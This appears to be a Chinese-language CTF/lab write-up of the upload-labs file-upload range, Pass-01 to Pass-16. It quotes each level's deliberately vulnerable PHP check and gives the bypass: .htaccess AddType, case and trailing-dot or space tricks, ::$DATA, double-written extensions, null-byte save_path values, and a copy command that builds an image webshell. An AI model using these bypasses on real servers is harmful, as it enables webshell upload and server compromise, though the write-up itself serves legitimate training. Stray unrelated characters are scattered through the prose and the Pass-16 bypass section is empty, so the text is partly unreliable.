upload-labs


title: upload-labs
date: 2019-04-17 09:20:52
tags:
- 文件上傳
categories:
- Web安全
- upload-labs


upload-labs是一個(gè)使用php語(yǔ)言編寫(xiě)的玩徊,專門(mén)收集滲透測(cè)試和CTF中遇到的各種上傳漏洞的靶場(chǎng)。旨在幫助大家對(duì)上傳漏洞有一個(gè)全面的了解。目前一共20關(guān),每一關(guān)都包含著不同上傳方式。

前言

感覺(jué)自己對(duì)文件上傳還不是很熟齿尽,做起題目來(lái)毫無(wú)章法,特此通過(guò)做這個(gè)文件上傳20關(guān)來(lái)總結(jié)提升一下灯节。
項(xiàng)目地址:https://github.com/c0ny1/upload-labs

這是所有20關(guān)的考察點(diǎn)循头。我也將按照這個(gè)腦圖分類總結(jié)。


image

upload-labs write up

每一關(guān)的解法炎疆,我將按照:探測(cè)驗(yàn)證點(diǎn) 代碼分析 繞過(guò)方法的組織結(jié)構(gòu)來(lái)敘述卡骂。其中探測(cè)驗(yàn)證點(diǎn)在前還是后端在Pass-01中寫(xiě)一下,其他Pass可參照Pass1進(jìn)行判斷磷雇。

Pass-01-前端js檢查

探測(cè)驗(yàn)證點(diǎn)

  1. 首先打開(kāi)burp和瀏覽器
  2. 上傳1.php文件進(jìn)行觀察
  3. 這里發(fā)現(xiàn)偿警,http請(qǐng)求都沒(méi)通過(guò)burp就彈出了不允許上傳的提示框,這表明驗(yàn)證點(diǎn)在前端唯笙,而不在服務(wù)端


    image

代碼分析

判斷了驗(yàn)證點(diǎn)在前端之后螟蒸,就可以查看具體js判斷代碼。于是按F12,找到判斷代碼崩掘。


image

把代碼摳出來(lái)整理一下

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("請(qǐng)選擇要上傳的文件!");
        return false;
    }
    //定義允許上傳的文件類型
    var allow_ext = ".jpg|.png|.gif";
    //提取上傳文件的類型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判斷上傳文件類型是否允許上傳
    if (allow_ext.indexOf(ext_name) == -1) {
        var errMsg = "該文件不允許上傳七嫌,請(qǐng)上傳" + allow_ext + "類型的文件,當(dāng)前文類型為:" + ext_name;
        alert(errMsg);
        return false;
    }
}

可以看到,上傳之前苞慢,通過(guò)js判斷一下文件后綴是否為.jpg|.png|.gif,不是就不允許上傳诵原。

繞過(guò)方法

對(duì)于前端js驗(yàn)證的繞過(guò)方法較為簡(jiǎn)單,我們可以將要上傳的php文件改后綴名為jpg|png|gif,繞過(guò)js驗(yàn)證后挽放,再用burp更改上傳請(qǐng)求绍赛。或者瀏覽器禁用js后進(jìn)行上傳


image

Pass-02-只檢查Content-type

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)辑畦!';
            }
        } else {
            $msg = '文件類型不正確吗蚌,請(qǐng)重新上傳!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夾不存在,請(qǐng)手工創(chuàng)建纯出!';
    }
}

可以看到蚯妇,后端php代碼只對(duì)Content-Type進(jìn)行了檢查。

繞過(guò)方法

在burp中更改Content-Type進(jìn)行繞過(guò)即可暂筝。


image

Pass-03黑名單繞過(guò)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)箩言!';
            }
        } else {
            $msg = '不允許上傳.asp,.aspx,.php,.jsp后綴文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建焕襟!';
    }
}

可以看到陨收,服務(wù)器端做了一個(gè)黑名單過(guò)濾,過(guò)濾了 asp鸵赖、aspx畏吓、php、jsp

繞過(guò)方法

不允許上傳.asp,.aspx,.php,.jsp后綴文件卫漫,但是可以上傳其他任意后綴菲饼。比如說(shuō):.phtml .phps .php5 .pht,但如果上傳的是.php5這種類型文件的話列赎,如果想要被當(dāng)成php執(zhí)行的話宏悦,需要有個(gè)前提條件,即Apache的httpd.conf有如下配置代碼

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

關(guān)于AddType命令的作用解釋如下

AddType 指令
作用:在給定的文件擴(kuò)展名與特定的內(nèi)容類型之間建立映射
語(yǔ)法:AddType MIME-type extension [extension] ...
AddType指令在給定的文件擴(kuò)展名與特定的內(nèi)容類型之間建立映射關(guān)系包吝。MIME-type指明了包含extension擴(kuò)展名的文件的媒體類型饼煞。
AddType 是與類型表相關(guān)的,描述的是擴(kuò)展名與文件類型之間的關(guān)系诗越。

此處黑名單沒(méi)有過(guò)濾.htaccess后綴砖瞧,故此處也可上傳.htaccess文件進(jìn)行繞過(guò)。
注: .htaccess文件生效前提條件為1.mod_rewrite模塊開(kāi)啟嚷狞。2.AllowOverride All

.htaccess文件是Apache服務(wù)器中的一個(gè)配置文件块促,它負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁(yè)配置荣堰。通過(guò)htaccess文件,可以實(shí)現(xiàn):網(wǎng)頁(yè)301重定向竭翠、自定義404錯(cuò)誤頁(yè)面振坚、改變文件擴(kuò)展名、允許/阻止特定的用戶或者目錄的訪問(wèn)斋扰、禁止目錄列表渡八、配置默認(rèn)文檔等功能IIS平臺(tái)上不存在該文件,該文件默認(rèn)開(kāi)啟传货,啟用和關(guān)閉在httpd.conf文件中配置屎鳍。

構(gòu)造.htaccess文件,內(nèi)容如下:AddType application/x-httpd-php .jpg
這里代碼的意思可以讓 .jpg后綴名文件格式的文件名以php格式解析问裕,因此達(dá)到了可執(zhí)行的效果逮壁。所以我們可以把要上傳的php文件的后綴名改為.jpg格式從而繞過(guò)

Pass-04 .htaccess繞過(guò)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)!';
            }
        } else {
            $msg = '此文件不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建僻澎!';
    }
}

可以看到貌踏,黑名單里php、php5等這種后綴全部不允許上傳窟勃,但并沒(méi)有限制.htaccsess文件祖乳。故可以上傳.htaccsess文件繞過(guò)

繞過(guò)方法

同上Pass-03,利用.htaccsess文件

Pass-05 大小寫(xiě)繞過(guò)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)秉氧!';
            }
        } else {
            $msg = '此文件類型不允許上傳眷昆!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建!';
    }
}

可以看到汁咏,此處的黑名單比Pass-04多了.htaccess亚斋,所有不能通過(guò).htaccsess進(jìn)行繞過(guò)了。但此處代碼沒(méi)有將文件名統(tǒng)一轉(zhuǎn)成小寫(xiě)攘滩,故可以通過(guò)大小寫(xiě)繞過(guò)

繞過(guò)方法

用burp將后綴改為大寫(xiě)PHP即可


image

Pass-06 空格繞過(guò)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)帅刊!';
            }
        } else {
            $msg = '此文件不允許上傳';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建!';
    }
}

可以看到漂问,相比于上面Pass-05代碼赖瞒,這里將文件后綴名統(tǒng)一進(jìn)行了小寫(xiě)轉(zhuǎn)換,但是沒(méi)有去除文件名首尾的空格蚤假。所以此處可以利用windows系統(tǒng)的命名規(guī)則進(jìn)行繞過(guò)

Win下xx.jpg[空格] 或xx.jpg.這兩類文件都是不允許存在的栏饮,若這樣命名,windows會(huì)默認(rèn)除去空格或點(diǎn)
此處會(huì)刪除末尾的點(diǎn)磷仰,但是沒(méi)有去掉末尾的空格袍嬉,因此上傳一個(gè).php[空格]文件即可

繞過(guò)方法

修改文件后綴為1.php .這種形式,從代碼執(zhí)行流程分析來(lái)看灶平,會(huì)先去除文件名末尾的.,去除之后的文件后綴是 .php[空格]伺通,利用.php[空格]繞過(guò)黑名單箍土,然后利用windows的文件命名規(guī)則默認(rèn)除去空格和.,達(dá)到上傳.php的目的。

Pass-07 點(diǎn)繞過(guò)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)泵殴!';
            }
        } else {
            $msg = '此文件類型不允許上傳涮帘!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建拼苍!';
    }
}

從代碼上看笑诅,可以發(fā)現(xiàn)相比于Pass-06代碼,加上了首尾去空疮鲫,但是卻少了尾部去點(diǎn)吆你。故和上面Pass-06一樣,利用windows文件命名規(guī)則繞過(guò)俊犯。

繞過(guò)方法

用burp將上傳文件后綴改為.php.即可妇多,詳細(xì)原理與Pass-06類似

Pass-08 ::$DATA繞過(guò)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)!';
            }
        } else {
            $msg = '此文件類型不允許上傳燕侠!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建者祖!';
    }
}

可以看到,與前面第七關(guān)的代碼相比绢彤,少了去除文件名的"::$DATA"字符串這一步七问。這里還是利用windows的一個(gè)特性。

NTFS文件系統(tǒng)包括對(duì)備用數(shù)據(jù)流的支持茫舶。這不是眾所周知的功能械巡,主要包括提供與Macintosh文件系統(tǒng)中的文件的兼容性。備用數(shù)據(jù)流允許文件包含多個(gè)數(shù)據(jù)流饶氏。每個(gè)文件至少有一個(gè)數(shù)據(jù)流讥耗。在Windows中,此默認(rèn)數(shù)據(jù)流稱為:$ DATA疹启。

簡(jiǎn)單講就是在php+windows的情況下:如果文件名+"::$DATA"會(huì)把::$DATA之后的數(shù)據(jù)當(dāng)成文件流處理,不會(huì)檢測(cè)后綴名.且保持"::$DATA"之前的文件名古程。

注:僅windows適用喔

繞過(guò)方法

由上分析,可知喊崖,用burp將上傳文件后綴改為:xx.php::$DATA即可挣磨。

Pass-09 點(diǎn)空格點(diǎn)繞過(guò)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)!';
            }
        } else {
            $msg = '此文件類型不允許上傳贷祈!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建趋急!';
    }
}

可以看到,這里代碼的安全性比之前的都要更高势誊,黑名單類型全呜达,大小寫(xiě)經(jīng)過(guò)轉(zhuǎn)換,去除了文件名末尾的點(diǎn)粟耻,去除了文件名尾空格查近,還去除了::$DATA眉踱。。但是霜威,這里還是可以繞過(guò)的谈喳。這里的代碼邏輯是先刪除文件名末尾的點(diǎn),再進(jìn)行首尾去空戈泼。都只進(jìn)行一次婿禽。故可以構(gòu)造點(diǎn)空格點(diǎn)進(jìn)行繞過(guò),也就是后綴名改為xx.php. .大猛,也是利用了Windows的特性扭倾。
也就是說(shuō),如果從第三關(guān)到第九關(guān)挽绩,如果目標(biāo)服務(wù)器是windows系統(tǒng)的話膛壹,均可用點(diǎn)空格點(diǎn)繞過(guò)。

繞過(guò)方法

將后綴名改為xx.php. .即可

Pass-10 雙寫(xiě)繞過(guò)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上傳出錯(cuò)唉堪!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建模聋!';
    }
}

這里代碼沒(méi)有了之前關(guān)卡里的去除文件尾點(diǎn)、空格唠亚、::$DATA的操作链方,估計(jì)是針對(duì)非Windows系統(tǒng)的。這里存在的問(wèn)題是趾撵,利用str_ireplace對(duì)黑名單里的文件后綴名進(jìn)行了替換侄柔,換成空字符,使用了str_ireplace函數(shù)占调,即不區(qū)分大小寫(xiě)暂题,故大小寫(xiě)繞過(guò)不適用。但是這里替換是替換成了空字符究珊,于是我們可以雙寫(xiě)后綴名薪者,如.pphphp,使得替換后的后綴名為php。

繞過(guò)方法

用burp修改后綴名為 .pphphp

Pass-11 00截?cái)?/h2>

代碼分析

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯(cuò)剿涮!';
        }
    } else{
        $msg = "只允許上傳.jpg|.png|.gif類型文件言津!";
    }
}

可以發(fā)現(xiàn),這里與之前代碼相比取试,使用了白名單悬槽,只允許上傳,jpg瞬浓,png初婆,gif三種格式文件。
但是在進(jìn)行move_uploaded_file前。利用_GET['sava_path']和隨機(jī)時(shí)間函數(shù)進(jìn)行拼接磅叛,拼接成文件存儲(chǔ)路徑屑咳。這里構(gòu)造文件存儲(chǔ)路徑利用了_GET傳入,導(dǎo)致服務(wù)器最終存儲(chǔ)的文件名可控弊琴。故可以利用這個(gè)點(diǎn)進(jìn)行繞過(guò)兆龙。
這里利用的是00截?cái)唷<磎ove_uploaded_file函數(shù)的底層實(shí)現(xiàn)類似于C語(yǔ)言敲董,遇到0x00會(huì)截?cái)?/p>

截?cái)鄺l件:
1紫皇、php版本小于5.3.4
2、php.ini的magic_quotes_gpc為OFF狀態(tài)

繞過(guò)方法

首先確認(rèn)自己的環(huán)境的php版本環(huán)境是否符合條件臣缀。其次查看php.ini配置文件中的magic_quotes_gpc是否為Off坝橡。我這里是php版本換成了5.2

image

構(gòu)造sava_path=/upload/1.php%00繞過(guò)
image

Pass-12

代碼分析

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳失敗";
        }
    } else {
        $msg = "只允許上傳.jpg|.png|.gif類型文件泻帮!";
    }
}

這里代碼與上面Pass-11代碼類似精置,不過(guò)是save_path參數(shù)由GET傳入變?yōu)镻OST傳入,利用原理也是00截?cái)嗦嘣印9蔬@里不再敘述

繞過(guò)方法

參照Pass-11

Pass-13 圖片馬 unpack

代碼分析

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只讀2字節(jié)
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知脂倦,上傳失敗元莫!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯(cuò)赖阻!";
        }
    }
}

從這一關(guān)開(kāi)始上傳圖片馬,結(jié)合文件包含進(jìn)行攻擊踱蠢。題目頁(yè)面描述如下圖


image

這里代碼意思是火欧,將上傳的文件讀取先讀取兩字節(jié),通過(guò)對(duì)比文件頭來(lái)確認(rèn)文件類型茎截。
于是就可以制作圖片馬苇侵,將php語(yǔ)句隱藏在圖片中,然后結(jié)合文件包含漏洞執(zhí)行php企锌。

繞過(guò)方法

利用windows的cmd命令制作copy制作圖片馬
copy 1.jpg /b + shell.php /a shell.jpg
制作完圖片馬后直接上傳榆浓,然后利用文件包含即可。

Pass-14 圖片馬 getimagesize()

代碼分析

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知撕攒,上傳失敹妇椤!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯(cuò)抖坪!";
        }
    }
}

這里getimagesize()函數(shù)解釋如下


image

繞過(guò)方法

與上面一致

Pass-15 exif_imagetype()

代碼分析

function isImage($filename){
    //需要開(kāi)啟php_exif模塊
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知萍鲸,上傳失敗擦俐!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯(cuò)脊阴!";
        }
    }
}

exif_imagetype函數(shù)說(shuō)明如下


image

繞過(guò)方法

同Pass-13一樣,生成圖片馬上傳

Pass-16 二次渲染繞過(guò)

參考:https://xz.aliyun.com/t/2657 講的很細(xì)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 獲得上傳文件的基本信息,文件名蹬叭,類型藕咏,大小,臨時(shí)文件路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 獲得上傳文件的擴(kuò)展名
    $fileext= substr(strrchr($filename,"."),1);

    //判斷文件后綴與類型秽五,合法才進(jìn)行上傳操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "該文件不是jpg格式的圖片孽查!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯(cuò)!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "該文件不是png格式的圖片坦喘!";
                @unlink($target_path);
            }else{
                 //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上傳出錯(cuò)盲再!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "該文件不是gif格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯(cuò)瓣铣!";
        }
    }else{
        $msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件答朋!";
    }
}

可以看到,這里先是判斷Content-Type棠笑,然后再用imagecreatefrom[gif|png|jpg]函數(shù)判斷是否是圖片格式梦碗,如果是圖片的話再用image[gif|png|jpg]函數(shù)對(duì)其進(jìn)行二次渲染。

我們可以上傳一個(gè)正常的圖片文件蓖救,觀察其上傳前和上傳后圖片的二進(jìn)制流是否發(fā)生變化洪规,比如我用copy命令生成了shell.jpg,用十六進(jìn)制編輯器打開(kāi)可以看到,文件末尾有我加入的php語(yǔ)句循捺。


image

將其上傳斩例,將服務(wù)器保存的即被二次渲染過(guò)的圖片保存下來(lái)。


image

將被二次渲染過(guò)的圖片用十六進(jìn)制編輯器打開(kāi)从橘,如圖,可以看到念赶,圖片的大小大幅減小,且前面加入的PHP代碼也不見(jiàn)了恰力。


image

繞過(guò)方法

